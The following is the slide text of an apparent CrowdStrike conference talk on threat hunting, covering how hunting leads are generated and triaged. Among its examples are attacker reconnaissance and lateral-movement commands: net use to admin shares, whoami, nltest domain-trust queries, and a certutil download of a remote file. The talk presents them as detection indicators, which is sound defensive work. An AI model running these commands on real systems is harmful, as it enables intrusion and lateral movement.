Cautionary Statement Regarding Forward-Looking Statements

This presentation includes express and implied “forward-looking statements”, including forward-looking statement within the meaning of the Private Securities Litigation Reform Act of 1995. Forward-looking statements include all statements that are not historical facts, and in some cases, can be identified by terms such as “anticipate,” “believe,” “estimate,” “expect,” “intend,” “may,” “might,” “plan,” “project,” “will,” “would,” “should,” “could,” “can,” “predict,” “potential,” “continue,” or the negative of these terms, and similar expressions that concern our expectations, strategy, plans or intentions. Forward-looking statements contained in this presentation include, but are not limited to, statements concerning the performance and benefits of our platform, products and services; our strategic plans or objectives; our growth prospects; and our future financial and operational performance. By their nature, these statements are subject to numerous risks and uncertainties, including factors beyond our control, that could cause actual results, performance or achievement to differ materially and adversely from those anticipated or implied in the statements. These and other risk factors are described in the “Risk Factors” section of our most recent Form 10-Q and/or Form 10-K filed with the Securities and Exchange Commission. You should not rely upon forward-looking statements as predictions of future events. Although our management believes that the expectations reflected in our statements are reasonable, we cannot guarantee that the future results, levels of activity, performance or events and circumstances described in the forward-looking statements will be achieved or occur. Recipients are cautioned not to place undue reliance on these forward-looking statements, which speak only as of the date such statements are made and should not be construed as statements of fact. Except to the extent required by federal securities laws, we undertake no obligation to update these forward-looking statements to reflect events or circumstances after the date hereof, or to reflect the occurrence of unanticipated events.
OverWatch In Action: Demystifying the Threat Hunting Process

Jason Wood, Senior Researcher, Tactical Intelligence, CrowdStrike
Dwight Huell, Senior Researcher, Tactical Intelligence, CrowdStrike
Agenda

- Threat Hunting
- Hunting Leads
- Case Studies
Jason Wood
Senior Researcher, OverWatch, CrowdStrike

- CrowdStrike OverWatch (managed hunting)
  - Threat hunting
  - Tactical intelligence
- 20 years of experience in infosec and operations
- Systems administrator
- Security engineer
- Penetration testing
- Security instructor
Dwight Huell
Senior Researcher, OverWatch, CrowdStrike

- Infosec experience
  - CrowdStrike OverWatch
  - Security research
  - Strategic intrusion analysis
  - Tracking and reporting

- Background
  - 9+ years of experience in information security
  - Managed security services
  - SOC operations
What Is Threat Hunting?

“Discovery of malicious artifacts or detection methods not accounted for in automated, passive monitoring.”

- Using **statistical** methods to find outliers (services, files, communications)
- Scientific method focused on **hypothesis** testing
- Employing threat **intelligence** to search for indicators of historic intrusions
  - Behavior-based TTPs (tactics, techniques, procedures)
  - Atomic & computed indicators
Where Does Threat Hunting Fit?

- **Security Analytics**
  - Alerts
  - Triage
  - Investigate and understand
  - Plan and execute response

- **Triage**
  - Incidents
  - Resolved incidents

- **Threat Hunting**
  - Hunting leads

- **Queries and Automation**
  - Raw telemetry
Events vs Hunting Leads

Events
- Process started
- File written
- Registry key read
- A command or file executed
- Anything that occurs on a host

Hunting Leads
- Machine learning and analysis applied
- Possibly malicious
  - May be experimental
- Similar to adversary TTPs
- Threat intel
- Query results from a hunter’s hypothesis

©2020 CROWDSTRIKE
Hunting Lead Examples

- Windows firewall modified to allow RDP
- Command shell from Microsoft Office application
- PowerShell downloading a file
- Unusual usage of `wget`
- `Whoami` under suspicious process tree
- Suspicious Python script executed
- Executable masquerading a core process name
Scale of Events and Hunting Leads

500 Million Events per Day

23 Million Hunting Leads per Day

100K Hunting Leads Investigated Due to Context, Analysis, Visualizations
Which One Is Malicious?

- `net use \10.100.11[.]236\c$ "REDACTED" /user:[redacted]\[redacted]`

- `net use \172.17.0[.]29\c$ /user:administrator [redacted]`
Context Is Everything

- What else is executing at the same time?
- What does the process tree look like?
- Are there obvious indicators of attack (IOAs)?
- Is there script content? Can we view it?
- What account is it running under?

A hands-on intrusion is never a single detection or lead
Malicious Hunting Lead?

"powershell.exe" -encodedcommand
WwBDAG8AbgBzAG8AbAB1AF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcALAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZ...

- Running as a service account
- Decodes to Windows package manager command
- Other commands show it setting up a new host
- Very common in the environment
Suspicious Process Trees

- IIS executing tasklist.exe?
- Other similar process trees in the same time range
- Host reconnaissance commands
- Unknown executables
Commands With Similar Process Trees

- whoami
- net view \10.10.10.10
- dir \10.10.10.10\c$
- nltest /domain_trusts
- certutil -urlcache -F https://domain.name/a
- C:\inetpub\wwwroot\dodgy-file.exe
The Hunter’s Next Steps

- Resist the urge to analyze everything in depth
- Trigger notification
- Document enough intrusion data
- Email notification to the customer
- Go back and dig deeper
  - Lateral movement
  - Commands that indicate motives or goals
  - Provide more detailed information as needed
- Thorough documentation for tracking
  - Create new hunting leads based on intrusion findings
Wrap-Up

- **Hunting leads are:**
  - Based on how likely an event is to be malicious
  - Frequently experimental in nature
    - Often noisy

- **Analysis of leads requires context**

- **OverWatch hunters:**
  - Link hunting leads together into a broader picture
  - Provide actionable information to customers
  - Possess deep expertise into adversary activities
Thank You

We look forward to your input to help us continue to make Fal.Con better year after year.

Please fill out the survey at the link below and provide your feedback – you will be entered to win $300 on items from the CrowdStrike Swag Store!